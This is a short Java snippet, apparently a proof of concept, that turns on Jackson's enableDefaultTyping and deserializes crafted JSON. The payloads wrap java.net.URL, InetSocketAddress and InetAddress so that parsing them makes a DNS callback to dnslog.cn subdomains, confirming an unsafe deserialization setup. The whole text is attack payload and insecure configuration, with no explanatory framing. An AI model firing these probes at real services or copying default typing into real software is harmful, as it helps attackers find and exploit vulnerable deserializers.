ObjectMapper objectMapper = new ObjectMapper();
objectMapper.enableDefaultTyping();
/**
objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.JAVA_LANG_OBJECT);
objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.OBJECT_AND_NON_CONCRETE);
objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_CONCRETE_AND_ARRAYS);
*/
String jsonResult = "[\"java.util.HashSet\",[[\"java.net.URL\",\"http://1wc3gw.dnslog.cn\"]]]";
objectMapper.readValue(jsonResult,Object.class);

["java.net.InetSocketAddress","nqigwr.dnslog.cn"]
["java.net.InetAddress","ap6d50.dnslog.cn"]